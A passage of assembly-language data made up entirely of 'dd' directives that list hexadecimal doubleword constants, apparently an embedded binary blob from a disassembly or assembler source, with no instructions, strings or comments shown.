1506BFC9h, 0E162E00h, 0C01058F2h, 81A403F4h dd 857C2FC2h, 31B826FBh, 21038646h, 0BF1923CEh, 5E3AC022h dd 8BB04C08h, 48F87C00h, 37C6562Ch, 0CBA04076h, 9800D550h dd 201CBA55h, 0E743621Eh, 2ED4B7ECh, 0E4FD4Bh, 3715D036h dd 7C00E77Fh, 84851D26h, 1D8BDC9h, 2D4E73E9h, 0FCF4118Ch dd 991ECD50h, 35C024EBh, 0D7EC7B2Fh, 8C1B01AFh, 1A3A0D74h dd 0CC47E018h, 0D800EEEAh, 0B5E2499Eh, 2C05B672h, 0CBF6E34h dd 0BD202B9Bh, 0A9190A7Ch, 2A118E7Fh, 7BD2E0h, 40DF4BBAh dd 0F575379Bh, 2C855100h, 6EB61AB1h, 0C672004Eh, 0CB523687h dd 0EF7E0E42h, 89610263h, 0C186E446h, 0A7EC8011h, 0B7D63082h dd 13BDD460h, 0E479D18h, 18FEE20h, 16835633h, 9687CE52h dd 5B1CA08h, 4894EEF1h, 83183049h, 9B29280Eh, 2B23CC00h dd 0BA17FD53h, 0A7960078h, 4B64366Fh, 0E013545h, 63F80399h dd 70EC98BCh dd 55FC12CDh, 0CE3D0015h, 49FAC04Ah, 8FF63F0Fh, 10180089h dd 0BDB0E4h, 6B5D85E0h, 0B18CF948h, 73B21B06h, 5789E2B3h dd 5DE004EEh, 10C01D9Bh, 7AE3D8A7h, 8754002Ah, 35B9F8Bh dd 0C80FA922h, 80654621h, 0EC5F7B7Dh, 0F8ABF8FAh, 29FC3E84h dd 318A2B01h, 843A2639h, 0B0F0D159h, 11508086h, 76A0A36Fh dd 16851F19h, 0B6F43B29h, 9398A06Bh, 3A671387h, 15D00057h dd 0EFE70B7h, 35EB4A03h, 1404C91Dh, 603776B9h, 2126A522h dd 6F1851DAh, 0E3BD618h, 0CC117791h, 0D32055Ch, 0DF7020D9h dd 221F028Eh, 5C2D6423h, 893E0312h, 0E8221E32h, 97A90109h dd 560E8E15h, 1FA1706Fh, 813D8230h, 56452FFFh, 8F064C02h dd 5EDCEC9Bh, 0B9FB1D0Ah, 7B85BC65h, 0C020290Bh, 3091DED1h dd 0BDA90A87h, 0BEE17CF3h, 147F0738h, 0D4001E2Eh, 1299D85h dd 0E13A6F6Dh, 808A27C9h, 469384C0h, 14A590D7h, 0A028377Fh dd 71415C18h, 7C032505h, 4610112Fh, 844A0021h, 0F165C8DEh dd 8D04A5FEh, 55F0D82Bh, 1776E080h, 42EB3185h, 849C48h dd 30CD6FD6h, 14B90926h, 0D9120B77h, 0EC066ABDh, 6008B2B5h dd 80F52146h, 0CA00FE0Bh, 2EC0A951h, 3168F492h, 5B603F1Ch dd 6E3401FDh, 48C3B08h, 0BDD70B79h, 2018627Ah, 0A50B82CFh dd 549AAC05h, 0F004477Eh, 548017BDh, 30753AA4h, 0CE61EC42h dd 0CF0332DAh, 5652E689h, 0A353CB71h, 0C321000Ah, 0ACEB310Dh dd 0AE00A04Ch, 399B37F7h, 3345871h, 1D93EF5Bh, 3118FEA2h dd 0A893329h, 0C199007Ah, 9E0FE2DFh, 8F14058Eh, 2CC7C32h dd 94C33520h, 85E8870Dh, 709153B4h, 0D0551D5Dh, 0FE160D80h dd 0D4900080h, 5E515A8h, 0C901924Fh, 2F6FDC51h, 3983DF95h dd 32B32EB7h, 45687780h, 0E05D4C00h, 698B4AAEh, 53C91E7Ch dd 0E2A700B5h, 0F191326Ch, 0C70DC200h, 5503EF86h, 18460E27h dd 45C0CF94h, 37B35842h, 183B7736h, 0EE200FBCh, 0A1C38519h dd 0E0B7AADFh, 0EC35C6Dh, 7003EAF8h, 0ACEFDB48h, 401C896Ah dd 7E3EF9E4h, 0AB73A39h, 93B6DD0Ch, 0CC0C4250h, 798F8303h dd 71A700F5h, 6075CA45h, 0F100A4A2h, 0AA544C8Dh, 5A4DFCh dd 5116391Dh, 2F76DC87h, 8978F103h, 0AB60D0F2h, 67CE880Ch dd 1A78F3h, 391347D2h, 4E0776E6h, 982E993Eh, 0C1481D84h dd 3D31013Fh, 0EB04591h, 27E08C74h, 99CA50h, 2414AAE3h dd 0A60698B5h, 61F45090h, 112CB00h, 9720FB05h, 0D4C10081h dd 26433542h, 1F30DD0Ch, 0E661821h, 602500CBh, 589E74D5h dd 1B078D98h, 648CFEC2h, 50F935B6h, 619D249h, 230E5526h dd 0E400181Bh, 0A6CDF82Ch, 3DD36Fh, 1C47E178h, 186596F4h dd 502CD514h, 0CE091DB0h, 0A0FEBBCEh, 31C11719h, 2E830012h dd 387AAA91h, 470349A6h, 0E5BD8ACh, 1EEEC094h, 0A9663A6Ch dd 0E62E9500h, 4677A383h, 116613Ah, 3DBD9DECh, 9940B8A9h dd 3A94F86Fh, 29629929h, 7A2218ADh, 70F12237h, 0A0785827h dd 929C4D8h, 42F5484Ah, 0A525FC9Ah, 141A280Ah, 4842910h dd 51714CABh, 0EB080021h, 0BDDF840Ah, 0D0005A1Ch, 0B43DBC9Ch dd 199E873h, 0F6C6AE83h, 0FC252893h, 44E6FDF8h, 0EDD6E700h dd 90BFB822h, 0C9A90082h, 98ADA58Eh, 5100C59Ah, 6FC2047Bh dd 0EA7CFAh, 0D8610AA4h, 0D293E73h, 6D656600h, 52F388AFh dd 0CA3F004Ah, 0A8F46A2Eh, 3C00EBC6h, 7D39C98Dh, 3D8881A6h dd 0B2807ED4h, 170E250Ah, 6701BB84h, 0AC8BFEF5h, 12F4A7FDh dd 2754Bh, 89CABAEh, 0B4B0F3E9h, 86DB560Bh, 61CC8F8Fh dd 0A4491B75h, 74ED30h, 0BDA59945h, 0F783CB10h, 60DAB10Fh dd 30EAA0E0h, 0F4A6951Fh, 0DFB0BFEh, 1500768Dh, 0C2642875h dd 0F82EE300h, 0C66D6F74h, 8F9A0FF3h, 0D6E077F7h, 0F29E2F90h dd 1E580200h, 76EE2347h, 8AEB00A7h, 3F38DB72h, 0FE3E260Fh dd 0A2C78F2Fh, 9F6FA017h, 2491574h, 0B78D99E3h, 3440A16Ah dd 8500F2A0h, 0B98EC5A9h, 0E461D5A8h, 418C0E39h, 0D9A0B3B5h dd 274EE298h, 95A7DC07h, 3D90306Ah, 0FAF4CAh, 0EB9FA413h dd 838920B6h, 0DBB721Ch, 7D16C9C3h, 0A38C0F45h, 0C063D643h dd 711DBF34h, 4CCE3E05h, 0E71F4004h, 0E987BE6Bh, 0E85DB843h dd 7BD472h, 959EB10Ch, 8633FEC5h, 0A743770Ah, 6D039876h dd 0F8DB02AAh, 169D7806h, 0DE5710h, 0C2C5972Eh, 23EE869Ch dd 15F91F00h, 0B304AF0Fh, 0D0B1F40h, 4483DD70h, 0AEFB1928h dd 580A5280h, 0E4B200CFh, 0AD7B683Fh, 1D3B8CDCh, 0BC6F0790h dd 5D203175h, 0F6914025h, 3D5B00F0h, 28FD2A9Eh, 1D01CABEh dd 0B957F2E3h, 2DE41416h, 0A23B00E1h, 4F5E8188h, 7F002EA6h dd 9E4148BAh, 0EF65FEh, 0F0C6D574h, 66768B38h, 2BB3Ah dd 5B392F56h, 704EE567h, 3371272Eh, 5900EA76h, 0EBF6C729h dd 14470003h, 83515626h, 0D400504Fh, 0C3F8742Dh, 0AB68BFh dd 763EED06h, 1AC9412h, 9362BD00h, 4BEB59E7h, 66110F1Bh dd 0CA40C996h, 2D18299Fh, 12A3058h, 3CC3CEE0h, 92E49DFBh dd 0AAC01C0Ah, 0BAD84041h, 6503F809h, 0B99B8E00h, 90461FB3h dd 0C02E7DF4h, 0B46C1D28h, 21007ACEh, 6BDCC5FFh, 0EE932524h dd 0ACD008Ah, 8FE922Dh, 700715FBh, 0F8A6721Fh, 0EFC3E660h dd 0D0C50EF7h, 0B422530Dh, 0D9202A28h, 301CB879h, 0A1100510h dd 941FB793h, 0E340F858h, 56301AB1h, 617307B6h, 4125EB67h dd 808DDFA3h, 2CFD0D30h, 0DF0364Ch, 3EAF54FEh, 5DEAD85Ch dd 0E1185E00h, 6C0BA2F3h, 639B009Fh, 828DC2C9h, 3C007327h dd 0BC3710EAh, 72AF15h, 5FAC790Dh, 0E0480CEDh, 0B1FCEF00h dd 27546206h, 9E6800E1h, 838D259Fh, 0F0002D13h, 8C8A403Bh dd 70D73Eh, 0AA222369h, 987A9CD6h, 313F13Dh, 0A4E8FAB0h dd 0C152D88Ah, 32BC00EAh, 8798CECDh, 0B6072504h, 94682838h dd 0AF4A79B0h, 7B9A00AAh, 8AB90D4Ch, 0DA1DEB70h, 0D29D6D44h dd 3216CE00h, 58F4E7h, 129EBFB0h, 8C11EA82h, 1E68104Ch dd 0DB40DF4Dh, 0C1F8DACFh, 8D440E20h, 0F9ACD225h, 0CE006A10h dd 40C245D9h, 35DB5Ch, 0E4A4EED0h, 0BB184CD5h, 0A8DFDC02h dd 90879136h, 0FDA5F94h, 5162B4CCh, 0FFFCD840h, 0C373D14Ah dd 0B39B0200h, 63CA929h, 0CEFD3D90h, 42823500h, 0BB8941D7h dd 1E691C00h, 72DED527h, 0B0E7008Bh, 40E4349Bh, 3608E88h dd 0CAACDA6h, 0A0010019h, 0D4865B8Ch, 170A2269h, 0D897C78Eh dd 0B4468503h, 536AB8B7h, 5AB23C38h, 7FC7B17h, 404A8600h dd 0D74CFDE5h, 3DEB8900h, 0FF4376D6h, 1CEE03F2h, 4575E256h dd 35D91100h, 5A1B74DEh, 8F7738D4h, 33DB1860h, 0C5007688h dd 9020A768h, 16BC7FEh, 87ED13A0h, 0E0C11B80h, 99000981h dd 0C7DF03F9h, 72C490Eh, 0EFF492D4h, 43E4E0E5h, 8900AD72h dd 13E6CC95h, 0B3975Fh, 6011A97Bh, 0EEE48112h, 208CC801h dd 0C79EF3C2h, 8B351180h, 8F10D330h, 1B96F607h, 0DA904741h dd 0FAC221C0h, 7CF80077h, 516C8E09h, 9C003D04h, 8D00F8Ch dd 610C94h, 0F4BC3419h, 0E3971D55h, 0DDB80200h, 390EEC6Fh dd 5DB224BEh, 0A56300D6h, 0E707A1C0h, 9A953Bh, 0C644B84Ch dd 1EF848Ch, 23810922h, 0E43CE5D4h, 6B00AD2Eh, 2662A4B1h dd 507A825h, 90EC602Ch, 0D6DBC0BAh, 0B20E2DD3h, 4AD11h dd 8E607E26h, 9B575042h, 0E31500D7h, 1BA2D93Dh, 2B00B1E4h dd 0A5237E71h, 6B7BF1h, 795C6FBDh, 1B940AFDh, 81123090h dd 64073507h, 8BD06404h dd 306E010h, 0AC9BB84Fh, 28383CEAh, 66370098h, 0DC2174CBh dd 0C148C05Fh, 256ED824h, 0C036E002h, 40176518h, 8F0954h dd 705610Bh, 0A9DE23CEh, 7BF86B0Fh, 69013D8Ah, 0CC8B3B5Ah dd 0AF5160h, 537D98ACh, 6E91BC20h, 3AEEFF00h, 1FD0396Ch dd 0D39648E8h, 86D8602h, 4057A760h, 9E4511h, 3258D529h dd 0B7FEF36Ch, 1B1EB074h, 45402B37h, 0E56F5D4Eh, 0EA634C18h dd 28CF2Eh, 75DB979Ch, 0D3072CA1h, 0D1E739C8h, 4600FDAEh dd 26936FE2h, 1785308Ah, 0AB1AC758h, 412C2FE4h, 191F6181h dd 20BC4544h, 0F66D0080h, 0C4F3008Eh, 0F408A1EBh, 60F56377h dd 0C616861Dh, 9500EEF8h, 4984E353h, 21B0B2h, 0D97E28D0h dd 820C7AF4h, 0BAD6B600h, 0CF52A769h, 47860038h, 2DBB05ACh dd 0B80754C9h, 0FEEB8BE6h, 90B3BD70h, 24CD074Ch, 409610E8h dd 4AC4B528h, 0D7E458h, 931E3F8Ch, 1D686A04h, 188C60Bh dd 3E61DF9Fh, 0C45B71C9h, 0AC9A7F12h, 268EA000h, 8BAECF77h dd 0A6A10E5Ch, 99C09211h, 0B0D2DD38h, 0F0B8D300h, 1024F58Ah dd 519500EAh, 62B1CF34h, 0E5002647h, 3FD27DA8h, 17B0CDh dd 0FAD1A9DFh, 56F00CFFh, 0A5EA9D00h, 72FC7E6Dh, 32423A37h dd 1F4DF280h, 2745A3E2h, 84FA1C03h, 0D001A780h, 3B95Ch dd 4AB73C9Ah, 2E02A436h, 65EC9000h, 0D012BB57h, 0ED881F68h dd 0A7BDCB0Fh, 61DC6DA0h, 3B0F6EEAh, 0A0D52F8Fh, 67AE295Dh dd 2E4F0016h, 36310E9Eh, 0B64C9324h, 1F5B1F6Eh, 0AE9D1800h dd 1E2714Dh, 460FD5B7h, 0F0AD08F0h, 0A1003CA8h, 9816B5F9h dd 70B2AEh, 0F38FEF85h, 8CE242FCh, 7A3C3900h, 550B6B84h dd 0A94C00E7h, 0E8D57EFh, 32003FB2h, 81D606E1h, 127C21h dd 2AF2F84Eh, 49AEDAF6h, 0DFB36100h, 0AB217769h, 0B48E303Dh dd 0AE4DB510h, 7F3C50Eh, 0A0704063h, 18230FCh, 0AD5260A4h dd 0D392C64Fh, 0B99CC5B0h, 28CA8800h, 0F806F9EDh, 0B020266Fh dd 0EF5D0004h, 0CB916A1Eh, 0AFCC4000h, 0CFABE117h, 1FFD0003h dd 0FED96CF3h, 0E300ECBFh, 8120251Eh, 0FEF535E9h, 5F65073Ch dd 90772840h, 0ED6277Ah, 29AD900h, 0EDB4647Ch, 18FAF4FBh dd 18D2D479h, 6300AE9Eh, 60E3A51Ah, 6CE135h, 0CF2F8D8Ch dd 0FFED5D41h, 8A393600h, 0CC608467h, 0A352C3Ch, 85D6015Bh dd 0C89314EDh, 0CA072A3Ah, 0C69F74CDh, 58833DD0h, 35C90304h dd 6A84CF36h, 92576098h, 1A4B880Eh, 44E6A3C3h, 4120001Ch dd 682CDF20h, 0B5008F80h, 6BDB60FAh, 30E5FEh, 4C877870h dd 0A0F19988h, 1564FF50h, 2A51400h, 7124EF61h, 9F0F008Bh dd 86CF160Eh, 44001D0Ch, 0A28DC57Dh, 0A712E5h, 0C6ED8417h dd 922920C0h, 0FE7410BAh, 0A3EFB003h, 0EF910770h, 0E4C346C0h dd 0D3F300F6h, 0C92E32DBh, 0F779C7Bh, 727E6E01h, 8B3CE7ECh dd 16A8E2F4h, 132F9052h, 54FE00B2h, 48609E46h, 1856871Dh dd 0D4596440h, 0C6378Ah, 21D0FB5Eh, 3533544Dh, 7E00A048h dd 1F004EE0h, 2B491774h, 52A1380h, 0E96AE757h, 0E3B3802Dh dd 8933BE5Dh, 0B8B5F85Bh, 0B84E510Dh, 5CB40248h, 295421F5h dd 0C560C040h, 4F9A4018h, 602BDB92h, 430269CEh, 440072BEh dd 0E6E4E125h, 2E0B1Eh, 0EEFF888h, 0CBD62D52h, 92003E7Fh dd 7B94FD98h, 0E5C919F6h, 801160h, 0BE288BBBh, 8EFD82A0h dd 8421DCFFh, 6382FF50h, 647838h, 0A6226FA7h, 907FBFB8h dd 0FAD579C7h, 6BD2008Bh, 4010F95Eh, 9A3D76B2h, 3E2B2ED9h dd 0F3D8CF00h, 0F58106h, 721D8658h, 89F26EF1h, 4906978h dd 652DC70Fh, 4E59C076h, 850718h, 0A0E738AEh, 0B63AD492h dd 0EBF1D90Ah, 803DB773h, 80EC0F4Fh, 886F6Eh, 0AC4E7DE1h dd 0A9F8AFBFh, 508C5E00h, 0AAE616CEh, 0B0593F30h, 0D42BC70Bh dd 0A03D1C84h, 13162A14h, 0D8407C81h, 731F8462h, 0DAC6079Dh dd 8FE0D688h, 66DC00B6h, 0AE0AB06Ch, 9712700h, 8837FE94h dd 0EBFD037Bh, 627A123Fh, 424CD488h, 616A241Dh, 6CEF2900h dd 3B3AC7A1h, 360009BFh, 973D1E89h, 1200F472h, 7A573901h dd 4C9143h, 33248649h, 34766DEFh, 250E8901h, 5C8515BDh dd 381CECh, 14FE3C7Bh, 70A5BB7Fh, 59F0C800h, 50465F11h dd 294A1685h, 0E0280089h, 0FB489C94h, 82B8B000h, 0E2D8BC9Dh dd 0FCA800BDh, 2EFA99E6h, 4D01CD1Eh, 85A7EA65h, 0CE61CF78h dd 6832F8h, 60EB8C5h, 0E7058E23h, 286FBE2Ch, 8A037F26h dd 0F8C37404h, 1DB9AB8h, 108C1205h, 285F47A4h, 236D00ACh dd 0A3B00BB6h, 0D76A00FDh, 796317AEh, 0A61F0165h, 0B3401BA4h dd 0FFF381E6h, 9A1C09E2h, 0C0005A1Fh, 0CF85CE54h, 149B4C00h dd 0D5368C1Eh, 70C9A61h, 0CCDF2838h, 9E5D6064h, 625CDEBDh dd 4ACE0A3Eh, 5B09A934h, 7B30002Eh, 11E9E5h, 4FB09B62h dd 0A21B671Eh, 0CCB2B900h, 836CC53Ah, 6E25002Eh, 338CA993h dd 74481EABh, 0AE04030Ch, 68E457h, 73A7CE11h, 0A327C216h dd 94428100h, 0DF2A2169h, 556E58CAh, 8E249C00h, 7EC85C83h dd 26D2D601h, 3B38A5C2h, 1ECDE820h, 40AE3366h, 0EB996D2Fh dd 224825AAh, 0D435C4F4h, 1F80C108h, 0E06DA681h, 760E7EA4h dd 0B1590071h, 6B13DFBEh, 9C3D23B7h, 5A0075E3h, 3D3EA821h dd 507D08h, 89E6EF17h, 6D03D046h, 0E0FE0CB0h, 5E00E479h dd 0B43A270Ah, 369A7C3h, 9820C211h, 0BAC9662Eh, 3C7EC404h dd 3E839700h, 0FC62CE07h, 5592013Fh, 0D6E75E0Fh, 72F3F815h dd 212B941Fh, 0B1507AC0h, 3FCDA976h, 0E58035EFh, 0BC61B5A7h dd 0C1B862A6h, 94C60300h, 47AC2493h, 2B3800D1h, 4A63CACBh dd 221CB041h, 994020C3h, 0D490F609h, 0B44D0026h, 0DA07D1B3h dd 27044661h, 87B1E9E0h, 6E837884h, 59B3F831h, 55FB0050h dd 760A7045h, 6F0F8E71h, 40A78211h, 72EF8644h, 0FEC009Fh dd 3149BE37h, 2D005FABh, 8B7D7750h, 24DE8E08h, 78709Bh dd 5125CD2h, 7E3CC47Fh, 0D4D601A1h, 30A5F2FDh, 77A885F4h dd 546E002Bh, 3B714A3Ch, 33043ACDh, 0E9D4AA0Ch, 9F87080h dd 19201073h, 0D30D0059h, 4B1B6D30h, 46780067h, 4D93FBAAh dd 0FE04D18Eh, 98E764C9h, 350E0080h, 1BE20099h, 260391EFh dd 2109F090h, 0A0488537h, 4EC82E60h, 1B665C86h, 3BC6C050h dd 0DA817042h, 7D6EFDA1h, 384DE880h, 1D140200h, 0BD155D46h dd 16A41C1Ah, 0C180BEC9h, 0E8AD61A1h, 0A32E1903h, 6E005541h dd 4696EE64h, 0F43C7597h, 0AABE00C6h, 660CFD77h, 5B00345Fh dd 0B89382E2h, 483587B9h, 0AF1E1E21h, 0C99B184Eh, 2A7933E1h dd 0CC4F0500h, 0EC7C232Fh, 8843383Ah, 0F059A480h, 493483A5h dd 8B986F01h, 0AA6D0C58h, 1E01020h, 0ABCCA3C9h, 0D00679EBh dd 9C5CD34Ah, 0F1007080h, 86DC3642h, 7F8B522Bh, 1BFA027Dh dd 0C31C4030h, 77465868h, 80D0A427h, 6BE11834h, 0E36F3B96h dd 15729581h, 80C69E6Ah, 62DB2621h, 382FB9Fh, 0E602C204h dd 49A84C15h, 0BA1CB0FAh, 9B016FDBh, 680F896Eh, 11D41821h dd 196B0052h, 0F98DD18Bh, 80006799h, 1E5D0B7Fh, 136C93h dd 0BF483557h, 6A9B30B5h, 0B9E38300h, 1F665E0Dh, 0A29C00F5h dd 0AE69A6D6h, 0B43C5DA1h, 64F80771h, 3EA06036h, 1D00A8Dh dd 0F66C2D4Bh, 0C89ACDA7h, 9100F734h, 0D786E07Eh, 8F23FDh dd 0FB148440h, 0B6499876h, 7C965000h, 6DBE327Bh, 0D8020097h dd 9FF1EE21h, 8100E883h, 0CD8F2466h, 9567C64h, 2C33C7F6h dd 0DED7D420h, 34B20457h dd 0CA13F10Fh, 0B68101D4h, 0A330765Dh, 60AB00B9h, 14E3C149h dd 0D97AA723h, 0D3FBC90h, 415E0076h, 0B51B7835h, 79510062h dd 4C081FEBh, 9D7309A4h, 950D0501h, 67887445h, 1E1F04ECh dd 31B523A6h, 0F2AE0679h, 0CE2E9068h, 0FC2D2703h, 0A0432B9Dh dd 0A0D30797h, 5603210h, 0D5951488h, 4B54872Fh, 0BDE33A01h dd 0F19CE191h, 1883FA06h, 781D3C35h, 800B625h, 651EF5DDh dd 6A3A1E44h, 59FA4010h, 63D5948Ah, 0F560E5EEh, 403C9938h dd 3A421F75h, 0CE31466h, 95C67407h, 0DCA83C2Eh, 9E01F81Fh dd 52D6B700h, 27C8EBEh, 41B2AC21h, 0A408C94h, 7F1E2BE1h dd 0B6C095A0h, 573EA97Dh, 0E360F71Ah, 2693B020h, 0A38DDh dd 0BF32593Fh, 3400FEDBh, 2FE3A56Ah, 3ACED6Bh, 0E717E418h dd 3DB80E82h, 0A00D33Ah, 0A62D6858h, 1D97F36h, 98331166h dd 601AA45Ch, 0A00448Ch, 599BF5F9h, 0E84D260h, 18A2A934h dd 0D93A78A0h, 0B2008071h, 9DC8528Ch, 0A765AFh, 0C25F739Eh dd 0CC83AB43h, 9153E403h, 0E8B85EF8h, 1212E0Fh, 5B024B79h dd 6E9BE65Ch, 23E0B087h, 5CC67B86h, 1000B39Eh, 0EA9146B4h dd 600119E2h, 0DB627775h, 0A8407C1Ch, 0BBDF81h, 0BF11ED89h dd 0DDB5B37Dh, 1286453Fh, 1CBA5829h, 0C5F1C00Bh, 9BD4DC72h dd 0CB904601h, 0BFCFA4F4h, 338BEE0h, 115AE4FEh, 82E8C08Ch dd 35032787h, 0C4DC2C08h, 626E80A1h, 7F22388Bh, 55D6BC81h dd 0D49DB9BFh, 0CA0079C3h, 8A578968h, 4DF4A8h, 63F8FF1h dd 4AB74662h, 33B0CBF0h, 5ED33201h, 0E02AFCEEh, 0BB35D0h dd 0C82F163Ah, 7C809448h, 8882DA04h, 1D80409Dh, 0B39CE66h dd 0DD5DAF17h, 38A6F003h, 0D19A6580h, 6CDB9B00h, 6DDCCBE6h dd 0D77833h, 0D6807FF6h, 3DE3123Ch, 0E949B00h, 0CD83736Ah dd 0C9BF50D8h, 918801E8h, 0F4B2B1F2h, 79E02E2Eh, 3360045Eh dd 809946DCh, 0C2A119B0h, 7EF77C00h, 7BEBC84Bh, 82D62431h dd 25900348h, 28119FABh, 6F11B7AFh, 859511C7h, 11AAD111h dd 8321C5C4h, 90870308h, 4F9C88BDh, 8EC1CC4h, 22E94484h dd 9B5085A9h, 898F1404h, 3AC0915Ch, 84BFC4CCh, 428D0F22h dd 0ADD01181h, 9C08D321h, 1142BF90h, 0D722A956h, 0D98DC00h dd 1388D98Ch, 89E300A2h, 0A9E06F16h, 0C60026DEh, 474069ACh dd 1D279944h, 1E5A71F6h, 3FE2C0FEh, 8EED0BF4h, 5E7FF098h dd 5A28E500h, 5FE79A7Ch, 80C01F9Eh, 8C5DCF6Fh, 2C91E040h dd 0C0046A2h, 5095E1DEh, 17C0F0h, 0FFEAED80h, 9A5F10E0h dd 0BE116C00h, 2B894981h, 0A640001h, 4507CFC5h, 800D70Ch dd 3436F0E7h, 1C2617Eh, 0BDDD6D76h, 0E94AEA5Dh, 94DC6462h dd 78653B00h, 29C1B20h, 64AC1476h, 4F00EA29h, 9888DFEh dd 0EC000ADBh, 5B8736F1h, 0F3E6BBCh, 2993AC7Eh, 5ECF0C7Dh dd 0D30C4758h, 38FA35E1h, 76DE09CAh, 0EC208628h, 8B9EBA1Dh dd 0A7BFCD00h, 84F5D993h, 0B0B45033h, 7E1600DDh, 71410C72h dd 747E4706h, 0D1BF2700h, 0B13C79EAh, 94F9008Bh, 78596962h dd 9000E39Bh, 0D12FA12Dh, 81BD6Bh, 99DBDEE0h, 33597CBh dd 189ED330h, 0E87102h, 0F05C4452h, 7AF9E412h, 0C89F9900h dd 0BEEA9811h, 16FD00D2h, 0ED55E01Dh, 6400C2C7h, 0B8FBA7ADh dd 32B9A78h, 990FD905h, 4DB06F85h, 7D0AD297h, 0D8336722h dd 52F7A600h, 0CE81F3h, 0E8F5B72Dh, 9A4AB974h, 4F4E3Eh dd 0BC788FFEh, 0ABF65h, 5F14BD2Ah, 0C23AAE8Eh, 8F7B28B0h dd 0DC521903h, 0CB3BEED8h, 0D537C0D7h, 3FB20C39h, 2C0426ADh dd 439D0A07h, 809F71BDh, 353E79B5h, 38F477h, 28488618h dd 0C20C7AF0h, 0F53D8971h, 0C58E0032h, 18D102F2h, 20A513A0h dd 69B001Ah, 87C29B1Dh, 89F7FB3Ch, 0A6F02Bh, 0F53EE26Fh dd 0BAD00086h, 68ED7624h, 0C11279F7h, 30002F26h, 6EAA75D5h dd 895E4011h, 8004B79h, 257CDAE9h, 0B2E59DFAh, 8C7E00C0h dd 6C8B0FA4h, 170059B8h, 7D2DEE20h, 75F4F3E7h, 0EDEA0080h dd 8485337h, 1E002ED6h, 0DE3645FEh, 0CAC61Dh, 0B44BB0E8h dd 9DAC75F1h, 7FF9B300h, 14356CA8h, 0CDC10013h, 940D09B2h dd 45B8F333h, 820FEC30h, 1C67941h, 24EB744Dh, 0E45A3C7Eh dd 6701DF87h, 37FF1932h, 0A4F939E1h, 311C1980h, 937D4AF4h dd 86960C06h, 18A178Ah, 0B0A9C75Fh, 0C8D869EDh, 1403CEDDh dd 939430C0h, 0E7F003C1h, 0B35A50D2h, 0EC6406E1h, 5F0011BFh dd 470DA18Ch, 24CE85h, 9532044Eh, 9E1A154Bh, 0ED4926h dd 6BEF4F00h, 0E6BE4170h, 0F20215A0h, 5D00E864h, 0C58D5A8Bh dd 4200840Bh, 0C1060501h, 379DE0h, 40751BB1h, 0ADCD43A8h dd 0A501087Bh, 45D78D4Eh, 87D8F8CBh, 1922003Eh, 1C735B8h dd 4900980Bh, 58EB5752h, 7281676Eh, 0E6070043h, 611EF132h dd 7370272Fh, 24636D26h, 1DC78B00h, 16E64Bh, 0C604821Bh dd 0ED74F459h, 9DF3C801h, 75CD440Dh, 33D2E0h, 830C2BAh dd 6AB6D94h, 81423D00h, 69DA99CAh, 4E870F6Ah, 0F3607C1Ah dd 210E7014h, 0BF2CDC3Bh, 13891477h, 16A000B1h, 4DBB63D2h dd 75A3387Ch, 0BF01823Ch, 0F7AB41F9h, 27FC402Eh, 4A008F1Dh dd 0ACBCCC5Ch, 77852Ah, 30DA64C9h, 3D92BBECh, 72F9951Dh dd 39A73C00h, 5793642h, 0A3C90A86h, 0A8A08465h, 92B700A4h dd 0A010CB04h, 0C6D0095Dh, 5E8054A1h, 0E226186Bh, 27237A00h dd 9BD36F61h, 0ED890B5h, 992BBE25h, 0A329C040h, 3400B730h dd 4B468D3h, 26BF21Fh, 0B0F8DDCFh, 9240FC81h, 0CA09F4C5h dd 80363D61h, 754942CFh, 0C1723CAEh, 3243D702h, 0D860814Bh dd 3A058CDEh, 0BE40F6EEh, 5D86EC00h, 171FFh, 63362953h dd 0C3759A30h, 0C5F9D600h, 8ECF95CDh, 34F53965h, 0DA075604h dd 4408C231h, 0EF66F940h, 0D503EE01h, 63C33E48h, 16B0C30h dd 0C90683E6h, 28DD43F6h, 5E2E0080h, 0BE6AD525h, 44155858h dd 86CDA000h, 618BED4Dh, 0E685F109h, 0D9989050h, 4CA6018Eh dd 0F879D54h, 6388D80Bh, 0B1658500h, 41F213F4h, 231C1D14h dd 8FD08047h, 0B2AABCE3h, 39BF0B05h, 4480868Ch, 6C6AD4h dd 617D9BC4h, 8A0D6FB3h, 88008EF4h, 31B44376h, 642B0h dd 3F9D6E96h, 293275E9h, 0A7D0B300h, 864D89A8h, 992F2E68h dd 0BF3E0CE7h, 8499DED8h, 624C1C00h, 0DED4Bh, 0A3648730h dd 0B5C1EF39h, 0C7039A1Fh, 0D857007Bh, 5D3C2B63h, 797FFC42h dd 8BB40078h, 274E9840h, 0A130A332h, 6DEA1079h, 8814C6Ah dd 4D13C501h, 0CC0ACC77h, 201BA01h, 5DE77CAAh, 5470EE1Fh dd 5C400A5h, 0B2546F4Eh, 89909DD6h, 49DB351Fh, 0D1A2CF40h dd 39A68839h, 9A891FC2h, 0E460E2CBh, 0DE3EE5C0h, 0C9498006h dd 0D24AC754h, 0F6CF072Dh, 60D319CDh, 0FD522AC3h, 5A3062FAh dd 0A75E081Bh, 0E9180146h, 0EFFB3CBFh, 0E6E5F0B8h, 98D65400h dd 3463A561h, 32D426DBh, 464F00E0h, 292D1B50h, 7D307859h dd 8800247Ah, 0C1F2DA2Fh, 50190343h, 0E56AA863h, 167CD240h dd 957B0751h, 0C3FCEF0Ah, 0F0CB0672h, 0C70168BEh, 4FDC4418h dd 0C5C08147h, 0A50E289Bh, 39E53EE6h, 0D1150201h, 0D8C989CDh dd 0E601EA93h, 0D883DFA5h, 84408ADEh, 0F537244h, 3DAE4DABh dd 36AF801Dh, 2A7B1AB2h, 6AA67600h, 0A09D7F27h, 7D79B9h dd 3A75BF8Fh, 3C4BAA3Bh, 36A83D01h, 40B65243h, 0B910BEF1h dd 6CB188C5h, 2B5DC480h, 727D54h, 0C63E4740h, 925987F5h dd 30F19900h, 0ECD373A9h dd 2CDE247Ch, 32331204h, 90A07238h, 9107590Ch, 0E03A3F24h dd 99F09F00h, 750B50Eh, 56ACEC2Fh, 0BA0510BFh, 0C2307634h dd 42B590F0h, 790200B2h, 28E2C459h, 34981B6Ah, 8EFD5600h dd 0B2FBB1E6h, 8B33002Bh, 3A94D83Bh, 0A1009DA4h, 0C50CD9DDh dd 0E604B0h, 0C4F88301h, 0CCCDB141h, 0BCD6E502h, 0C07CC6C2h dd 294DA7h, 19471C5Eh, 1A51B4E4h, 4EBDE700h, 36B5EEBAh dd 0FF907FDh, 336A13B7h, 800C166h, 1172796Eh, 1E3CDB64h dd 80894DD4h, 0A3985886h, 0F7019A7Ch, 80BDEE6Fh, 0A030AF3Dh dd 0A1C1002Ah, 0B822E3D0h, 0FD00B965h, 0C4DB38CAh, 